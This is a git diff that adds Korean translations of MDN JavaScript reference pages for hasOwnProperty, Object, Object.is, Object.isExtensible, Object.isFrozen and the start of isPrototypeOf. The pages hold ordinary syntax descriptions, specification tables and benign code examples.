+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>obj</var>.hasOwnProperty(<var>prop</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>테스트하려는 프로퍼티의 명칭</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 객체는 <code>hasOwnProperty</code> 를 상속하는 {{jsxref("Object")}}의 자식이다. 이 메소드는 객체가 특정 프로퍼티를 자기만의 직접적인 프로퍼티로서 소유하고 있는지를 판단하는데 사용된다.  {{jsxref("Operators/in", "in")}} 연산과는 다르게, 이 메소드는 객체의 프로토타입 체인을 확인하지는 않는다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="프로퍼티의_존재_여부를_테스트하기_위한_hasOwnProperty의_사용">프로퍼티의 존재 여부를 테스트하기 위한 <code>hasOwnProperty</code>의 사용</h3>
+
+<p>다음은 o 객체가 prop라는 명칭을 지닌 프로퍼티를 포함하는지를 판단하는 예제이다.</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+
+function changeO() {
+  o.newprop = o.prop;
+  delete o.prop;
+}
+
+o.hasOwnProperty('prop');   // returns true
+changeO();
+o.hasOwnProperty('prop');   // returns false
+</pre>
+
+<h3 id="직접_프로퍼티와_상속된_프로퍼티의_비교">직접 프로퍼티와 상속된 프로퍼티의 비교</h3>
+
+<p>다음은 직접 프로퍼티와 프로토타입 체인에서 상속된 프로퍼티 간의 차이점을 비교하는 예제이다.</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+o.hasOwnProperty('prop');             // returns true
+o.hasOwnProperty('toString');         // returns false
+o.hasOwnProperty('hasOwnProperty');   // returns false
+</pre>
+
+<h3 id="객체의_프로퍼티들을_순환하기">객체의 프로퍼티들을 순환하기</h3>
+
+<p>The following example shows how to iterate over the properties of an object without executing on inherit properties. Note that the {{jsxref("Statements/for...in", "for...in")}} loop is already only iterating enumerable items, so one should not assume based on the lack of non-enumerable properties shown in the loop that <code>hasOwnProperty</code> itself is confined strictly to enumerable items (as with {{jsxref("Object.getOwnPropertyNames()")}}).</p>
+
+<pre class="brush: js">var buz = {
+  fog: 'stack'
+};
+
+for (var name in buz) {
+  if (buz.hasOwnProperty(name)) {
+    console.log('this is fog (' + name + ') for sure. Value: ' + buz[name]);
+  }
+  else {
+    console.log(name); // toString or something else
+  }
+}
+</pre>
+
+<h3 id="프로퍼티의_명칭으로서_hasOwnProperty_를_사용하기">프로퍼티의 명칭으로서 <code>hasOwnProperty </code>를 사용하기</h3>
+
+<p>자바스크립트는 프로퍼티 명칭으로서 <code>hasOwnProperty</code>를 보호하지 않습니다. 그러므로, 이 명칭을 사용하는 프로퍼티를 가지는 객체가 존재하려면,  올바른 결과들을 얻기 위해서는 외부 <code>hasOwnProperty</code> 를 사용해야합니다.</p>
+
+<pre class="brush: js">var foo = {
+  hasOwnProperty: function() {
+    return false;
+  },
+  bar: 'Here be dragons'
+};
+
+foo.hasOwnProperty('bar'); // always returns false
+
+// Use another Object's hasOwnProperty and call it with 'this' set to foo
+({}).hasOwnProperty.call(foo, 'bar'); // true
+
+// It's also possible to use the hasOwnProperty property from the Object prototype for this purpose
+Object.prototype.hasOwnProperty.call(foo, 'bar'); // true
+</pre>
+
+<p>Note that in the last case there are no newly created objects.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.hasOwnProperty")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_Revisited">JavaScript Guide: Inheritance revisited</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/index.html b/files/ko/web/javascript/reference/global_objects/object/index.html
new file mode 100644
index 0000000000..ce7e6c6603
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/index.html
@@ -0,0 +1,177 @@
+---
+title: Object
+slug: Web/JavaScript/Reference/Global_Objects/Object
+tags:
+  - Constructor
+  - JavaScript
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object</code></strong> 생성자는 객체 래퍼(wrapper)를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">// 객체 초기자 또는 리터럴
+{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] }
+
+// 생성자
+new Object([<var>value</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt>
+ <dd>콜론으로 나뉘어져 있는 키(문자열)와 값(어떤 값이나 가능)의 쌍.</dd>
+ <dt><code>value</code></dt>
+ <dd>아무 값.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Object</code> 생성자는 주어진 값의 객체 래퍼를 생성합니다. 주어진 값이 {{jsxref("null")}}이거나 {{jsxref("undefined")}}면 빈 객체를 생성해 반환하고, 그렇지 않으면 값에 맞는 자료형의 객체를 반환합니다. 만약 값이 이미 객체이면 그 값을 그대로 반환합니다.</p>
+
+<p>생성자가 아닌 맥락에서 호출하면 <code>Object</code>는 <code>new Object()</code>와 동일하게 동작합니다.</p>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 초기자(리터럴 구문)</a>도 참고하세요.</p>
+
+<h2 id="Object_생성자의_속성"><code>Object</code> 생성자의 속성</h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>1의 값을 가집니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd><code>Object</code> 형의 모든 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Object_생성자의_메서드"><code>Object</code> 생성자의 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}}</dt>
+ <dd>하나 이상의 원본 객체들로부터 모든 열거가능한 속성들을 대상 객체로 복사합니다.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>주어진 프로토타입(prototype)의 객체와 속성들을 갖고 있는 새 객체를 생성합니다.</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>주어진 기술자(descriptor)에 의해 기술된(described) 이름붙은 속성을 객체에 추가합니다.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>주어진 기술자들에 맞는 이름붙은 속성들을 객체에 추가합니다.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>객체를 프리징(freeze)합니다. 즉, 다른 곳의 코드에서 객체의 속성을 지우거나 바꿀 수 없습니다.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>객체의 이름붙은 속성의 기술자를 반환합니다.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>주어진 객체 <strong>자신만의</strong> 열거가능하거나 열거불가능한 속성들의 이름을 포함하는 배열(array)을 반환합니다.</dd>
+ <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
+ <dd>주어진 객체에서 바로 찾을 수 있는 모든 심볼 속성을 배열로 반환합니다.</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>명시된 객체의 프로토타입을 반환.</dd>
+ <dt>{{jsxref("Object.is()")}}</dt>
+ <dd>두 값이 같은지를 비교합니다. 모든 NaN 값은 같다고 처리됩니다.(다른 추상적 또는 엄격한 등호 비교에서는 다르게 처리됩니다)</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>객체의 확장이 가능한지 확인합니다.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>객체가 프리징 되었는지 확인합니다.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>객체가 실링(seal) 되었는지 확인합니다.</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>주어진 객체 <strong>자신의 </strong>열거가능한 속성들의 이름의 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>객체가 확장되는 것을 못하도록 합니다.</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>다른 코드가 객체의 속성을 삭제하지 못하도록 합니다.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
+ <dd>프로토타입(즉, 내부의 <code>[[Prototype]]</code> 속성)을 설정합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Object.values()")}}</dt>
+ <dd>주어진 객체의 열거가능한 모든 스트링 속성들의 값들을 포함하고 있는 배열을 반환합니다.</dd>
+</dl>
+
+<h2 id="Object_instances" name="Object_instances"><code>Object</code> 인스턴스와 <code>Object</code> 프로토타입 객체</h2>
+
+<p>JavaScript에서 모든 객체들은 <code>Object</code>의 자손입니다. 모든 객체는 {{jsxref("Object.prototype")}}으로부터 메서드와 속성을 상속하는데, 나중에 덮어 쓸 수도 있습니다. 예를 들어, 다른 생성자의 프로토타입은 그 <code>constructor</code> 속성을 덮어쓰고 자신의 <code>toString()</code> 메소드들을 제공합니다. <code>Object</code> 프로토타입 객체에 대한 변경 내용은  그 변경 내용에 영향을 받는 속성들과 메소드들이 프로토타입 체인(chain)을 따라 더이상 무시되지 않는한,  모든 객체들로 전달됩니다.</p>
+
+<h3 id="속성">속성</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', '속성') }}</div>
+
+<h3 id="메서드">메서드</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', '메서드') }}</div>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example.3A_Using_Object_given_undefined_and_null_types" name="Example.3A_Using_Object_given_undefined_and_null_types"><code>undefined</code>와 <code>null</code>을 지정</h3>
+
+<p>다음 예제는 변수 <code>o</code>에 빈 <code>Object</code> 객체를 저장합니다.</p>
+
+<pre class="brush: js">var o = new Object();
+</pre>
+
+<pre class="brush: js">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js">var o = new Object(null);
+</pre>
+
+<h3 id="Object로_Boolean_객체_생성하기"><code>Object</code>로 <code>Boolean</code> 객체 생성하기</h3>
+
+<p>다음 예제는 변수 <code>o</code>에 {{jsxref("Boolean")}} 객체를 저장합니다.</p>
+
+<pre class="brush: js">// o = new Boolean(true)과 같음
+var o = new Object(true);
+</pre>
+
+<pre class="brush: js">// o = new Boolean(false)과 같음
+var o = new Object(Boolean());
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Added Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Added Object.entries, Object.values and Object.getOwnPropertyDescriptors.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/is/index.html b/files/ko/web/javascript/reference/global_objects/object/is/index.html
new file mode 100644
index 0000000000..2ead91a88a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/is/index.html
@@ -0,0 +1,124 @@
+---
+title: Object.is()
+slug: Web/JavaScript/Reference/Global_Objects/Object/is
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/is
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.is()</strong></code> 메서드는 두 값이 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">같은 값</a>인지 결정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.is(<var>value1</var>, <var>value2</var>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value1</code></dt>
+ <dd>비교할 첫 번째 값.</dd>
+ <dt><code>value2</code></dt>
+ <dd>비교할 두 번째 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>두 인수가 같은 값인지 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Object.is()</code>는 두 값이 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">같은 값</a>인지 결정합니다. 다음 중 하나를 만족하면 두 값은 같습니다.</p>
+
+<ul>
+ <li>둘 다 {{jsxref("undefined")}}</li>
+ <li>둘 다 {{jsxref("null")}}</li>
+ <li>둘 다 <code>true</code> 또는 둘 다 <code>false</code></li>
+ <li>둘 다 같은 문자에 같은 길이인 문자열</li>
+ <li>둘 다 같은 객체</li>
+ <li>둘 다 숫자이며
+  <ul>
+   <li>둘 다 <code>+0</code></li>
+   <li>둘 다 <code>-0</code></li>
+   <li>둘 다 {{jsxref("NaN")}}</li>
+   <li>둘 다 0이나 {{jsxref("NaN")}}이 아니고 같은 값을 지님</li>
+  </ul>
+ </li>
+</ul>
+
+<p>이는 {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} 연산자에 따른 같음과 같지 <em>않습니다</em>. {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} 연산자는 같음을 테스트하기 전에 양 쪽(이 같은 형이 아니라면)에 다양한 강제(coercion)를 적용하지만(<code>"" == false</code>가 <code>true</code>가 되는 그런 행동을 초래), <code>Object.is</code>는 어느 값도 강제하지 않습니다.</p>
+
+<p>이는 {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}} 연산자에 따른 같음과도 같지 <em>않습니다</em>. {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}} 연산자(와 {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} 연산자 역시)는 숫자값 <code>-0</code>과 <code>+0</code>을 같게 {{jsxref("Number.NaN")}}은 {{jsxref("NaN")}}과 같지 않게 여깁니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Object.is('foo', 'foo');     // true
+Object.is(window, window);   // true
+
+Object.is('foo', 'bar');     // false
+Object.is([], []);           // false
+
+var test = { a: 1 };
+Object.is(test, test);       // true
+
+Object.is(null, null);       // true
+
+// 특별한 경우
+Object.is(0, -0);            // false
+Object.is(-0, -0);           // true
+Object.is(NaN, 0/0);         // true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (!Object.is) {
+  Object.is = function(x, y) {
+   // SameValue 알고리즘
+    if (x === y) { // Steps 1-5, 7-10
+     // Steps 6.b-6.e: +0 != -0
+      return x !== 0 || 1 / x === 1 / y;
+   } else {
+     // Step 6.a: NaN == NaN
+     return x !== x &amp;&amp; y !== y;
+   }
+  };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.is")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">같음 비교 및 똑같음</a> — 똑같음 내장 기능 3가지 모두 비교</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/isextensible/index.html b/files/ko/web/javascript/reference/global_objects/object/isextensible/index.html
new file mode 100644
index 0000000000..bfe247c6e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/isextensible/index.html
@@ -0,0 +1,110 @@
+---
+title: Object.isExtensible()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object.isExtensible()</code></strong> 메서드는 객체가 확장 가능한지(객체에 새 속성을 추가할 수 있는지 여부)를 결정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-isextensible.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.isExtensible(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>판별할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 확장 가능 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 기본으로 확장 가능입니다: 새로운 속성이 추가될 수 있고 ({{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} 속성을 지원하는 엔진에서는) 수정될 수 있습니다. 객체는 {{jsxref("Object.preventExtensions()")}}, {{jsxref("Object.seal()")}} 또는 {{jsxref("Object.freeze()")}}를 사용하여 확장 불가로 표시될 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 새로운 객체는 확장 가능입니다.
+var empty = {};
+Object.isExtensible(empty); // === true
+
+// ...하지만 변경될 수 있습니다.
+Object.preventExtensions(empty);
+Object.isExtensible(empty); // === false
+
+// 봉인된 객체는 정의에 의해 확장 불가입니다.
+var sealed = Object.seal({});
+Object.isExtensible(sealed); // === false
+
+// 동결된 객체 또한 정의에 의해 확장 불가입니다.
+var frozen = Object.freeze({});
+Object.isExtensible(frozen); // === false
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 확장 불가인 보통 객체처럼 다뤄집니다, 그저 <code>false</code>를 반환하는.</p>
+
+<pre class="brush: js">Object.isExtensible(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.isExtensible(1);
+// false                         (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isExtensible")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.isExtensible()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html b/files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html
new file mode 100644
index 0000000000..0d8999fc4f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html
@@ -0,0 +1,155 @@
+---
+title: Object.isFrozen()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.isFrozen()</strong></code>은 객체가 {{jsxref("Object.freeze()", "동결", "", 1)}}됐는지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-isfrozen.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.isFrozen(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>판별할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 동결 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 {{jsxref("Object.isExtensible()", "확장 불가", "", 1)}}이며 모든 속성이 설정 불가 및 모든 데이터 속성(즉, getter 또는 setter 요소가 있는 접근자 속성이 아닌 속성)이 쓰기 불가인 경우에만 동결됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 새로운 객체는 확장 가능해서 동결되지 않습니다.
+Object.isFrozen({}); // === false
+
+// 확장 불가인 빈 객체는 빈 채로 동결됩니다.
+var vacuouslyFrozen = Object.preventExtensions({});
+Object.isFrozen(vacuouslyFrozen); // === true
+
+// 속성이 하나 있는 새 객체도 확장 가능하므로 동결되지 않습니다.
+var oneProp = { p: 42 };
+Object.isFrozen(oneProp); // === false
+
+// 객체 확장을 막아도 여전히 동결되지 않습니다,
+// 속성이 여전히 설정 가능(및 쓰기 가능)하기에.
+Object.preventExtensions(oneProp);
+Object.isFrozen(oneProp); // === false
+
+// ...그렇지만 그 속성 삭제는 객체를 빈 채로 동결되게 합니다.
+delete oneProp.p;
+Object.isFrozen(oneProp); // === true
+
+// 쓰기 불가지만 여전히 설정 가능한 속성이 있는 확장 불가 객체는 동결되지 않습니다.
+var nonWritable = { e: 'plep' };
+Object.preventExtensions(nonWritable);
+Object.defineProperty(nonWritable, 'e', { writable: false }); // 쓰기 불가로 함
+Object.isFrozen(nonWritable); // === false
+
+// 그 속성을 설정 불가로 바꾸면 객체를 동결되게 합니다.
+Object.defineProperty(nonWritable, 'e', { configurable: false }); // 설정 불가로 함
+Object.isFrozen(nonWritable); // === true
+
+// 설정 불가지만 여전히 쓰기 가능 속성이 있는 확장 불가 객체도 동결되지 않습니다.
+var nonConfigurable = { release: 'the kraken!' };
+Object.preventExtensions(nonConfigurable);
+Object.defineProperty(nonConfigurable, 'release', { configurable: false });
+Object.isFrozen(nonConfigurable); // === false
+
+// 그 속성을 쓰기 불가로 바꾸면 객체를 동결되게 합니다.
+Object.defineProperty(nonConfigurable, 'release', { writable: false });
+Object.isFrozen(nonConfigurable); // === true
+
+// 설정 가능 접근자 속성이 있는 확장 불가 객체는 동결되지 않습니다.
+var accessor = { get food() { return 'yum'; } };
+Object.preventExtensions(accessor);
+Object.isFrozen(accessor); // === false
+
+// ...하지만 그 속성을 설정 불가로 하면 동결됩니다.
+Object.defineProperty(accessor, 'food', { configurable: false });
+Object.isFrozen(accessor); // === true
+
+// 하지만 동결되는 객체를 위한 가장 쉬운 방법은 객체에 Object.freeze가 호출된 경우입니다.
+var frozen = { 1: 81 };
+Object.isFrozen(frozen); // === false
+Object.freeze(frozen);
+Object.isFrozen(frozen); // === true
+
+// 정의에 의해, 동결된 객체는 확장 불가입니다.
+Object.isExtensible(frozen); // === false
+
+// 또한 정의에 의해, 동결된 객체는 봉인됩니다.
+Object.isSealed(frozen); // === true
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 마치 동결된 보통 객체였던 것처럼 취급됩니다, 그저 <code>true</code>를 반환하는.</p>
+
+<pre class="brush: js">Object.isFrozen(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.isFrozen(1);
+// true                          (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isFrozen")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html
new file mode 100644
index 0000000000..0e9de96b41
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html
@@ -0,0 +1,111 @@
+---
+title: Object.prototype.isPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>isPrototypeOf()</strong></code> 메소드는 해당 객체가 다른 객체의 프로토타입 체인에 속한 객체인지 확인하기 위해 사용됩니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> <code>isPrototypeOf</code> 는 {{jsxref("Operators/instanceof", "instanceof")}} 연산자와 다릅니다. "<code>object instanceof AFunction</code>"표현식에서는 <code>object</code>의 프로토타입 체인을 AFunction 자체가 아니라 <code>AFunction.prototype에 대해 </code>확인을 합니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><var>prototypeObj</var>.isPrototypeOf(<var>obj</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>프로토타입 체인을 가지고 있는 객체가 검색될 것 입니다.</dd>
+</dl>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>isPrototypeOf</code> 메소드는 또 다른 객체의 프로토타입 체인에 해당 객체가 존재하는지 여부를 확인할수 있습니다.</p>
+
+<p>예를들어, 다음의 프로토타입체인을 고려해봅시다.</p>
+
+<pre class="brush: js">function Fee() {
+  // ...
+}
+
+function Fi() {
+  // ...
+}
+Fi.prototype = new Fee();
+
+function Fo() {
+  // ...
+}
+Fo.prototype = new Fi();
+
+function Fum() {
+  // ...
+}
